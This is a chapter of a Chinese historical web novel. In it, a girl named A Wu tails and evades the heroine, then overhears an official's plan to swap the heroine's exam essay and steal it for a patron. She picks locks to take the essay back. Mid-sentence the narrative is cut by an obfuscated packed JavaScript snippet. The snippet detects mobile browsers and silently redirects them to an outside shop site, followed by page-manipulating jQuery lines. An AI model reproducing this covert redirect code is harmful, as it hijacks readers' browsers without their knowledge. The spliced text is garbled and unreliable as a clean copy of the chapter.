54.第 54 章
作品:《青云梯·女子拜相》 就这样穿过了两条繁华的街市,人群渐渐稀疏起来,道路也变得不那么规整,两旁多是些老旧的民居和后巷。跟踪的难度加大了,谢明昭和林巧姑不得不放慢脚步,拉大距离,以免显得突兀。
阿无拐进了一条更为僻静的小巷。谢明昭和林巧姑等她身影消失在巷口,才加快脚步跟到巷口,小心地探头望去。只见巷子狭长,两侧是高墙,尽头似乎通往另一条横向的街道,阿无的身影正在巷子中段。
两人不再犹豫,快步走入巷中,朝着那个岔道口走去。
然而,当她们快步赶到那个岔道口时,里面却空空如也。这是一条死胡同,尽头堆着些杂物,墙上攀着枯藤,根本无处藏人。阿无的身影就这样凭空消失了。
“跟丢了?”林巧姑讶异地低声道,四下张望。
谢明昭也微微蹙眉,目光锐利地扫过这条死胡同的每一寸墙壁和角落。墙壁高耸,常人难以攀爬,但若是身手矫健……她的目光落在墙头一处不易察觉的、似乎被鞋底蹭掉的些许青苔痕迹上。
“看来是。”谢明昭收回目光,面色平静,“走吧,回去。”
两人不再停留,转身沿原路返回。脚步声在寂静的巷子里渐行渐远,直至消失。
就在她们离开后约莫半盏茶的功夫,那条“空空如也”的死胡同中段,靠右的墙壁上方,一道纤细的身影如同狸猫般轻盈地落下,悄无声息,正是阿无。她方才并未进入岔道,而是在谢明昭她们视线被岔道口遮挡的瞬间,利用巷子中段一处墙砖的微小凸起和缝隙,手脚并用,迅捷地攀上了高墙,伏在墙头,屏息凝神,直到确认跟踪者离开。
此刻,她站在巷中,望着谢明昭和林巧姑离去的方向,眉头微锁,清澈的眼眸中闪过一丝复杂的情绪。她没想到谢明昭会跟踪她,更没想到对方如此谨慎,竟差点被发现。这位谢姑娘,果然不简单。
阿无抿了抿唇,不再多想。她还有更重要的事情要做。转头辨明方向,她身形一动,再次展现出敏捷,迅速穿过这条死胡同尽头杂物堆旁一个极其隐蔽的、仅容一人侧身通过的墙缝,身影一闪,便彻底消失在错综复杂的巷陌深处,朝着她真正的目的地疾行而去。
阳光依旧暖洋洋地照着青州府城的街巷,仿佛刚才那短暂的追踪与消失,从未发生。
————
临近子时,万籁俱寂。陈府的书房再次亮起了灯火,窗户上透出两个晃动的人影。
阿无悄无声息地伏在书房外侧的廊檐梁上,屏息凝神,如同与黑暗融为一体。她轻轻调整角度,目光穿透窗纸上一个不起眼的小孔,将室内情形尽收眼底。
陈致远背对着窗户,正站在书桌前,提笔书写。他的心腹吴先生站在一旁,眉头紧锁。
“大人,您今日去阅卷房……可有收获?”吴先生低声问道,语气带着几分紧张。
陈致远停下笔,将写满字迹的纸张提起,对着烛光审视,嘴角扯出一抹阴冷的弧度:“哼,收获?何止是有收获。我趁他们午间歇息、守卫稍懈,悄悄看了那谢明昭的弥封卷……此女,当真不简单。”
吴先生一怔:“她的文章……真的那么好?”
“何止是一个‘好’字。”陈致远转过身,将那张纸递给吴先生,眼神复杂,“你看看这策论,关于清丈田亩之法。条理之清晰,见解之独到,措施之务实,绝非寻常闭门造车的学子能写出来。此法若真能推行,于国于民,堪称利器。可惜啊,可惜是个女儿身。若是男儿,这般才具心智,未必不能拉拢一番,为我所用。”他话语中竟真透出几分惋惜,但转瞬便被更深的戾气取代。
吴先生接过纸张,就着烛光细看,越看越是心惊。他虽然心思诡谲,但并非不通文墨,自然能看出这篇文章的分量。“这……大人,若按此文水平,再结合她其他题目答卷,恐怕……此女此番,真有问鼎案首之望啊!”
“案首?她想得美!”陈致远冷笑一声,他走回桌边,那里赫然铺着另外两张纸,上面墨迹已干,“我今日回来,便凭着记忆,将她那篇策论的关键部分删改、扭曲,写成了这篇。文意尚通,但核心的算法与调解关键已被模糊、替换,变得平庸甚至略有矛盾。”
“明日,我会找机会,将这个调换的文章放回去。届时,她的佳作会变成平庸之文,甚至可能因我刻意留下的‘破绽’而被判下等,自然也上不了榜。”
吴先生连连点头:“只是……她原文如此出色,若就此埋没,岂不可惜?而且万一将来……”
陈致远眼中闪过算计的光芒:“可惜?当然可惜。所以,我又将她原文,一字不差地重新默写了一份。”他从书桌抽屉里拿出一叠写满字的纸,正是谢明昭那篇清丈田亩策论的完整复刻。“你看看,此文若献于崔大人,崔大人门下有能人,体察民情,苦心钻研所得,进献良策……你说,圣上会不会龙颜大悦?崔大人会不会更得圣心?”
吴先生接过,快速浏览,再次被文章的缜密与切实震撼。“此法确实……精妙务实!若由崔大人献上,确是大功一件!圣上近年来最重实务,此策正当其时!”他脸上露出兴奋之色,“如此一来,既除了那谢明昭,绝了她出头之路,又能为崔大人和大人您添一桩功劳!一箭双雕!”
陈致远满意地笑了:“正是此理。”他取来一个特制的厚信封,将那份完整的默写文章装入,又取出自己专用的私印和火漆,仔细封缄、盖印。然后打开书桌旁一个带锁的小巧铁匣,将信封珍而重之地放入,锁好。“此物,待府试事了,我亲自送往京城,面呈崔大人。”
两人又低声商议了几句收尾细节,确认计划无误,这才吹熄大部分烛火,只留一盏小灯,先后离开了书房,仔细锁好门。
阿无伏在梁上,一动不动,直到两人的脚步声彻底消失在庭院
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916070|191328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深处。黑暗中,她清澈的眼眸寒光凛冽,胸中怒火与寒意交织。好一个毒计!不仅要让谢姑娘落榜,还要窃取她的心血文章去邀功!
她耐心等待了片刻,确认周围再无动静,这才无声着地。从袖中摸出两根纤细坚硬的铁签,她蹲在书房门锁前,屏息凝神,只听极细微的“咔哒”几声轻响,那看似牢固的铜锁便应声而开。
推门闪身而入,反手虚掩。她径直来到那个铁匣前。匣子上的锁更为精巧,但似乎难不住她。又是几番极其小心、几乎无声的操作,锁舌弹开。
打开匣子,里面果然躺着那个厚实的、盖有私印火漆的信封。阿无毫不犹豫地将信封取出,迅速塞入自己怀中。然后,她目光扫过书桌,随手从一叠空白纸笺中抽出几张,揉皱些许,塞进另一个看起来差不多的空信封,用桌上残余的一点蜡油和一根普通铜印,草草封上,放入铁匣,重新锁好。整个过程行云流水,不过几个呼吸之间。
将铁匣放回原处,仔细抹去自己可能留下的痕迹,她退出书房,用铁签再次将门锁恢复原状。随即,身形一闪,便消失在廊柱阴影后,几个起落,翻出陈府高墙,融入了茫茫夜色。
————
悦来居,乙字二号房。
夜深人静,只有更夫的梆子声偶尔传来。林巧姑已经熟睡,发出均匀的呼吸声。
谢明昭却并未深眠。连续几晚,她都在留心门口的动静,心中那根弦始终未曾完全放松。阿无的神秘、纸条的警示、考场上陈致远的目光、以及白日里跟丢的疑惑,都让她隐隐觉得,事情不会那么简单结束。
就在她朦朦胧胧、半睡半醒之际,门口传来了极其轻微的“窸窣”声,像是什么薄片物体摩擦过门板下方的缝隙。
来了!
谢明昭瞬间清醒,心跳微微加快。她悄然掀被起身,赤足踩在冰凉的地板上,没有发出一点声音。轻手轻脚地走到门边,手搭在门闩上,深吸一口气,猛地向里拉开!
房门骤然打开。
门外,阿无正弯腰起身,显然刚把什么东西塞入房内。她完全没料到房门会在这时突然打开,脸上瞬间布满了惊愕,动作僵在原地,那双总是带着警惕的眼睛,此刻写满了猝不及防的震惊,直直地对上谢明昭平静却仿佛能洞穿人心的目光。
房间内,被开门声惊醒的林巧姑也迷迷糊糊坐了起来,揉了揉眼睛,待看清门口站着的是阿无时,睡意顿时飞到了九霄云外,一个激灵从床上爬起,下意识地跑上前挡在了谢明昭侧前方,警惕地瞪着阿无。
谢明昭没有立刻说话,目光从阿无震惊的脸上,缓缓下移,落在了门口地板上一封样式普通的信件上。
她弯腰,将信件拾起。
“阿无姑娘,这么晚了,来我门前,是有什么事吗?”她一边说着,一边转身走回屋内,顺手点亮了桌上的油灯。
————

